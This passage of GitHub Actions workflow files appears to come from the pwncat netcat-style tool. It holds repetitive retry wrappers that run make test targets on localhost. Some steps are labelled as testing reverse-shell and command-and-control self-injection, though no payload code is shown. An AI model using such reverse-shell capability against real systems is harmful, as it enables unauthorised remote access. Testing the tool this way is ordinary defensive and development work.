_host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--nodns env: RETRIES: 5 # - name: "[OPTIONS] -C/--crlf" # shell: bash # run: | # # retry make _test-options--crlf # env: # RETRIES: 5 # ------------------------------------------------------------ # Tests: Options (keep open) # ------------------------------------------------------------ - name: "[OPTIONS] --keep-open 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-000 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-001 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-002 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-100 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-101 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-200 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-201 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 202" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-202 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options (reconn) # ------------------------------------------------------------ - name: "[OPTIONS] --reconn 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-000 env: RETRIES: 5 - name: "[OPTIONS] --reconn 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-001 env: RETRIES: 5 - name: "[OPTIONS] --reconn 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-002 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options # ------------------------------------------------------------ - name: "[OPTIONS] --ping-intvl" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--ping_intvl env: RETRIES: 5 - name: "[OPTIONS] --ping-word" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--ping_word env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Behaviour (File Transfer) # ------------------------------------------------------------ - name: "[BEHAVIOUR] File Transfer: send normal" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-base--file_transfer-send_normal env: RETRIES: 5 - name: "[BEHAVIOUR] File Transfer: send on eof" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-base--file_transfer-send_on_eof env: RETRIES: 5 # ------------------------------------------------------------ # Tests: CNC Self-inject # ------------------------------------------------------------ - name: "[CNC] Inject shell: pwncat as rev shell" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-pwncat env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte)" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (single byte)" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte) - delayed" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix-delayed env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (single byte) - delayed" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix-delayed env: RETRIES: 2 pwncat-0.1.2/.github/workflows/test-x64-windows-pypy3.yml000066400000000000000000001203371414025024700233030ustar00rootroot00000000000000--- # https://help.github.com/en/actions/language-and-framework-guides/using-python-with-github-actions # https://github.com/actions/python-versions/blob/master/versions-manifest.json name: win-py3 on: pull_request: push: branches: - master tags: jobs: test: runs-on: windows-latest strategy: fail-fast: False name: "[x64] [windows] python-pypy3" steps: # ------------------------------------------------------------ # Setup # ------------------------------------------------------------ - name: Checkout repository uses: actions/checkout@v2 - name: Set up Python uses: actions/setup-python@v2 with: python-version: pypy3 architecture: x64 - name: Set up PHP uses: shivammathur/setup-php@v2 with: php-version: '7.4' ini-values: max_execution_time=300 - name: "Setup /etc/hosts for Linux" shell: bash run: | if [ `uname` = "Linux" ]; then echo "\$ cat /etc/hosts" cat /etc/hosts echo ( echo "127.0.0.1 localhost"; echo "::1 localhost ip6-localhost ip6-loopback"; ) | sudo tee /etc/hosts echo echo "\$ cat /etc/hosts" cat /etc/hosts fi - name: Display Bash version shell: bash run: | bash --version whereis bash || true which bash || true - name: Display Python version shell: bash run: | python -c "import sys; print(sys.version)" whereis python || true which python || true - name: Display PHP version shell: bash run: | php --version whereis php || true which php || true - name: Resolve localhost shell: bash run: | echo echo "\$ host localost" host localhost || true echo echo "\$ python -c 'import socket;print(socket.gethostbyname(\"localhost\"))'" python -c 'import socket;print(socket.gethostbyname("localhost"))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None, socket.AF_INET))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None, socket.AF_INET))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None, socket.AF_INET6))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None, socket.AF_INET6))' || true # ------------------------------------------------------------ # Tests: Behaviour (Client) # ------------------------------------------------------------ - name: "[BEHAVIOUR] Client quits correctly 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-000 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-001 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-002 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 003" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-003 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 004" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-004 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-100 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-101 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 102" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-102 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 103" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-103 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-200 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-201 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Behaviour (Server) # ------------------------------------------------------------ - name: "[BEHAVIOUR] Server quits correctly 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-000 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-001 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-002 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 003" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-003 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 004" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-004 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-100 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-101 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 103" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-103 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 104" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-104 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-200 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-201 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Modes # ------------------------------------------------------------ - name: "[MODES] Local port forwarding" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do 